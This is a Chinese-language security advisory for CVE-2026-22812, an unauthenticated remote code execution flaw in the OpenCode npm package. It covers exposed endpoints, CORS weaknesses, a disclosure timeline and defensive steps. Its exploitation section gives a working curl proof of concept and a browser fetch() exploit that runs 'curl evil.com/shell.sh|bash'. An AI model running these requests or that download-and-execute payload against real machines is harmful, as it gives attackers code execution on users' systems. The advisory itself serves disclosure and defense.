当前位置:首页>java>OpenCode 未认证远程代码执行漏洞(CVE-2026-22812)

OpenCode 未认证远程代码执行漏洞(CVE-2026-22812)

  • 2026-10-25 04:14:22
OpenCode 未认证远程代码执行漏洞(CVE-2026-22812)

概述

OpenCode(npm包名:opencode-ai)存在一个未认证的远程代码执行(RCE)漏洞。攻击者可以在没有身份验证、用户交互或配置的情况下,执行任意代码。该漏洞影响多个版本的 OpenCode,具体取决于服务器功能和 CORS 设置。


漏洞关键信息

项目
描述
受影响软件
OpenCode(npm包:opencode-ai)
CVE 编号
CVE-2026-22812
漏洞类型
未认证远程代码执行(RCE)
漏洞等级
高危
默认行为
在 v1.1.10 之前,OpenCode 会自动启动一个无认证的 HTTP 服务器
暴露端点
通过以下端点执行任意命令:/session/:id/shell、/pty、/file/content
CORS 策略
默认允许 *.opencode.ai 域名,允许跨域请求
攻击方式
本地或网络攻击均可利用,无需用户交互

攻击向量

攻击向量
受影响版本
状态
说明
任何网站可执行任意代码
< v1.0.216
固定
通过 CORS 漏洞
任何本地进程可执行代码
< v1.1.10
缓解
通过服务器禁用
任何本地网页可执行代码
< v1.1.10
缓解
通过服务器禁用
服务器启用:任何本地进程可执行代码
所有版本
未修复
仍存在漏洞
服务器启用:任何本地网页可执行代码
所有版本
未修复
仍存在漏洞
无服务器运行提示
所有版本
未修复
用户可能不知道暴露
使用 --mdns:任何本地网络机器可执行代码
所有版本
未修复
绑定到 0.0.0.0
*.opencode.ai
 可执行代码
所有版本
未修复
通过 CORS 漏洞
如果 opencode.ai 被入侵,攻击者可访问用户
所有版本
未修复
通过 CORS 漏洞
任何 XSS 在 opencode.ai 可入侵用户
所有版本
未修复
通过 CORS 漏洞

漏洞利用方式

🔍 本地利用(服务器启用)

API="http://127.0.0.1:4096"SESSION=$(curl -s -X POST "$API/session" -H "Content-Type: application/json" -d '{}' | jq -r '.id')curl -s -X POST "$API/session/$SESSION/shell" \  -H "Content-Type: application/json" \  -d '{"agent":"build","command":"id > /tmp/pwned.txt"}'

🌐 浏览器利用(v1.0.216 之前)

fetch('http://127.0.0.1:4096/session', {  method: 'POST',  headers: {'Content-Type': 'application/json'},  body: '{}'}).then(r => r.json()).then(s => {  fetch(`http://127.0.0.1:4096/session/${s.id}/shell`, {    method: 'POST',    headers: {'Content-Type': 'application/json'},    body: JSON.stringify({agent:'build', command:'curl evil.com/shell.sh|bash'})  })})

用户防御措施

  • 检查版本:opencode --version
  • 升级到 v1.1.10 或更高版本(服务器默认禁用)
  • 检查配置文件中的 server.port 或 server.hostname
  • 避免使用 --mdns 标志(绑定到 0.0.0.0)
  • 如果必须启用服务器,避免访问 opencode.ai 或其子域名
  • 明确知道服务器启用时,任何本地进程均可利用

漏洞披露时间线

日期
行动
响应
2025-11-17
通过邮件报告给 support@sst.dev
无响应
2025-12-27
提交 GitHub 安全公告
无响应
2025-12-29
另一位用户独立报告
—
2025-12-30
部分修复:CORS 限制在 v1.0.216
—
2026-01-07
升级到社区 Discord
无响应
2026-01-08
通过问题评论跟进
项目方响应
2026-01-09
v1.1.10 中默认禁用服务器
—
2026-01-11
公开披露
—

推荐措施

  • 限制 CORS 到最小必要域
  • 默认禁用服务器(v1.1.10 已实现)
  • 所有服务器请求要求身份验证
  • 明确提示用户服务器是否运行(如启动消息或 UI 指示)
  • 改进 --mdns 文档,说明其绑定到 0.0.0.0 并允许本地网络访问
  • 网络通信强制使用 TLS
  • 明确 OpenCode 维护者、opencode.ai 和用户之间的信任关系

漏洞分析总结

漏洞原因

  • 默认启动无认证的 HTTP 服务器
  • 无用户提示服务器运行
  • CORS 策略允许 opencode.ai 及其子域名访问
  • 攻击者可通过本地或网络攻击轻松利用

漏洞影响

  • 攻击者可以在用户机器上执行任意代码,无需身份验证或用户交互
  • 漏洞影响所有版本,除非服务器被显式禁用或配置了安全措施

最新文章

随机文章